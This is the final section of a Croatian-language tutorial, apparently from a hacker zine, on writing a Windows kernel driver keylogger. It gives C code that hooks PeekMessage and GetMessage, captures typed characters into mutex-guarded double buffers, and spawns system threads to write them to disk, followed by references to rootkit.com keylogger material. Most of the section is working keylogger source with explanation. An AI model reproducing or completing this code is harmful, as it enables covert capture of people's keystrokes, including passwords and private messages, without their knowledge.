HAPPENING AT ONCE \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Nasa hook funkcija produljuje vrijeme koje program mora cekati da dobije retultat native API funkcije. Zato je dobro sto krace zadrzavati se unutar nase lazne funkcije i sto prije vratiti se korisnickom programu. Zapisivanje u datoteku unutar nase hook funkcije mozda i nije najbolja praksa, jer potrebno je otvoriti datoteku, ukoliko zelimo biti sigurni da su podaci stvarno zapisani na disk moramo napraviti flush buffera i potom zatvoriti datoteku. Sve to, a pogotovo dio zapisivanja na disk kosta dosta vremena. A mozemo i zamisliti da bi mozda prije zapisivanja u datoteku bilo dobro formatirati ispis, mozda pretraziti tipke za nekim posebnim tipkama i to na poseban nacin zapisati u datoteku. Zbog tih razloga bilo bi dobro kada bi nasa hook funkcija mogla samo u memoriju zapisati ono sto je "uhvatila", a netko ce potom to iz memorije upisati u datoteku. Taj netko bio bi jedan thread koji ce kreirati nas drajver i on moze se potom neovisno izvrsavati i na koji god nacin formatirati ispis u datoteku. Kreiranje threada nakon sto se napuni spremnik u memoriju u kojega upisujemo znakove koje je nasa funkcija prihvatila ce sigurno produljiti vrijeme cekanja ali znatno manje nego da nasa funkcija biljezi podatke u datoteku na disku. Nazalost to nije jedini problem koji je potrebno rjesiti. Buduci da smo napravili hooking dviju funkcija obje funkcije ce zapisivati ono sto "uhvate" u zajednicki memorijski spremnik. To znaci da ce ih biti potrebno sinkronizirati kako nebi sami sebe ometali i prebrisali si podatke. Kako se radi o dvije funkcije za sinkronizaciju nam moze posluziti MUTEX objekt. Pomocu njega cemo osigurati da onaj dio koda koji manipulira spremnikom u memoriji izvodi samo jedna funkcija i to u cjelosti. Moramo i definirati nas spremnik. Mozemo ga definirati na ovaj nacin. -------------------------------------------------------------------------------- typedef struct _KEY_DATA { ULONG CharCode; ULONG Timestamp; char IsPeekMsg; } KEY_DATA; typedef struct _MEMBUFF { KEY_DATA Keys[NUM_KEYS]; int KeysIndex; } KEYMEMBUFF, *PKEYMEMBUFF; -------------------------------------------------------------------------------- Struktura KEY_DATA predstavlja informacije koje cemo biljeziti o jednoj tipci, tj. informacije o jednom znaku. Imamo njegov znakovni kod, vrijeme kada je poslan na thread message queue i zadnji clan je indikator. Ukoliko je taj znak "uhvatila" funkcija PeekMessage on je postavljen na 1 u suprotnom na 0. Taj indikator nam je potreban jer u nekim situacijama i PeekMessage i GetMessage ce uhvatiti isti znak (onaj koji je dosao od jednog pritiska tipke na tipkovnici) tako da ukoliko dva znaka imaju isti timestamp i razlicit IsPeekMsg mozemo reci da su to u biti isti znakovi koje je uhvatila i jedna i drugua funkcija. Na taj nacin mozemo probati filtrirati znakove. Druga struktura predstavlja nas spremnik u memorij koji ce drzati odreden broj uhvacenih znakova. Tocnije NUM_KEYS znakova. KeysIndex nam sluzi kao index koji pokazuje na prvo slobodno mjesto u polju na koje mozemo upisati sljedeci znak. Na koliko postaviti NUM_KEYS? Odgovor je ne znam, nebi trebala biti prevelika vrijednost kako nebi ostali bez puno znakova ukoliko se slucajno racunalo ugasi, takoder premala vrijednost bi precesto kreirala dretvu koja ce pisati po disku. Dalje nastavljamo s inicijalizacijom MUTEX objekta: -------------------------------------------------------------------------------- KMUTEX MemBuffMutex; KEYMEMBUFF Buffer1, Buffer2; PKEYMEMBUFF ActiveBuffer; Buffer1.KeysIndex=Buffer2.KeysIndex=0; KeInitializeMutex(&MemBuffMutex, 0); ActiveBuffer=&Buffer1; -------------------------------------------------------------------------------- U ActiveBuffer se nalazi adresa onog spremnika u kojega nase hook funkcije trenutno upisuju znakove koje su uhvatile. Imamo dva spremnika kako bi mogli nastaviti s logiranjem znakova u jedan dok drugi nas thread upisuje u datoteku na disku. Ovako bi trebali modificirati nasu funkciju: -------------------------------------------------------------------------------- NTSTATUS NTAPI NewPeekMessage(OUT ULONG pMsg, IN ULONG hWnd, IN ULONG FilterMin, IN ULONG FilterMax, IN ULONG RemoveMsg) { NTSTATUS APIStatus, Status; PMSG MsgStruct; HANDLE WorkerThreadHandle; APIStatus=OldPeekMessage(pMsg, hWnd, FilterMin, FilterMax, RemoveMsg); MsgStruct=(PMSG)pMsg; if(MsgStruct->message==WM_CHAR) { Status=KeWaitForSingleObject((PVOID)&MemBuffMutex, UserRequest, KernelMode, FALSE, NULL); if(Status==STATUS_SUCCESS) { if(ActiveBuffer->KeysIndex==NUM_KEYS) { PsCreateSystemThread(&WorkerThreadHandle, THREAD_ALL_ACCESS, NULL, NULL, NULL, WorkerThread, ActiveBuffer); ZwClose(WorkerThreadHandle); ActiveBuffer=(ActiveBuffer==&Buffer1) ? &Buffer2 : &Buffer1; } ActiveBuffer->Keys[ActiveBuffer->KeysIndex].CharCode=MsgStruct->wParam; ActiveBuffer->Keys[ActiveBuffer->KeysIndex].Timestamp=MsgStruct->time; ActiveBuffer->Keys[ActiveBuffer->KeysIndex].IsPeekMsg=1; ActiveBuffer->KeysIndex++; KeReleaseMutex(&MemBuffMutex, FALSE); } } return APIStatus; } -------------------------------------------------------------------------------- Ovo je kod na PeekMessage funkciju, ali gotovo istovjetan bi vrijedio i za GetMessage funkciju. Nakon sto smo pozvali orginalnu funkciju i provjerili da li smo dobili WM_CHAR poruku. Prvo moramo dobiti vlasnistvno nad MUTEX objektom kako bi na taj nacin blokirali drugi kod koji pokusava u spremnik upisati znak. Kada dobijemo vlasnistvno nad MUTEX objetkom mozemo krenuti dalje s upisivanjem. Prvo provjerimo da li je trenutni spremnik mozda pun. Ako je znaci da moramo kreirati thread koji ce ga zapisati na disk. Threadu dajemo adresu spremnika kojega je potrebno zapisati. Potom odmah zamjenimo ActiveBuffer da pokazuje na onaj drugi spremnik dok thread upisuje onaj prvi. Nakon toga slobodno mozemo upisati podatke u spremnik i obvezno otpustiti vlasnistvo nad MUTEX objektom. Necemo li gore dok pokusavamo dobiti vlasnistvo nad MUTEX objektom ostati cekati mozda predugo. Jer je predzadnji argument funkcije WaitForSingleObject() FALSE? Nebi smjeli ostati predugo. MUTEX stiti izvrsavanje koda do poziva funkcije KeReleseMutex(), a taj kod bi se trebao vrlo brzo izvrsiti. Mozda bi dodatna optimizacija bila ta da drajver ne mora stalno kreirati thread svaki puta kada ima nesto za zapisati na disk. Bilo bi dobro da thread kreira odmah na pocetku a da thread onda ceka dok neki spremnik ne bude pun. Kada bude pun drajver threadu signalizira i thread se probudi te zapise podatke na disk, a nakon toga odmah se vrati na spavanje. To, a i implementaciju samog threada koji ce zapisivati na disk prepustam onima koji su izdrzali do kraja ovog teksta. //////////////////////////////////////////////////////////////////////////////// 8. REFERENCE \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ [1.] Oney, Walter, Programming the Microsoft Windows Driver Model, Microsoft Press, Washington 2003 [2.] http://www.rootkit.com/vault/Clandestiny/Klog%201.0.zip [3.] http://msdn2.microsoft.com/en-us/library/ms646267.aspx [4.] http://msdn2.microsoft.com/en-us/library/ms644927.aspx [5.] http://msdn2.microsoft.com/en-us/library/ms644927.aspx [6.] http://msdn2.microsoft.com/en-us/library/ms644928.aspx [7.] Mark E. Russinovich, David A. Solomon; Microsoft Windows Internals, Fourth Edition: Microsoft Windows Server Microsoft Press, Washington 2005 Chapter 3 - System Mechanisms : Trap Dispatching [8.] http://www.volynkin.com/sdts.htm [9]. Mark E. Russinovich, David A. Solomon; Microsoft Windows Internals, Fourth Edition: Microsoft Windows Server Microsoft Press, Washington 2005 Chapter 6 - Processes, Threads, and Jobs : Thread Internals [10.] http://www.rootkit.com/newsread.php?newsid=137 //////////////////////////////////////////////////////////////////////////////// 9. P.S. \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Hvala svima koji su procitali tekst. Pozdravi svima koje znam... haarp, h4z4rd, shatterhand, nimrod, ea, hess, MF....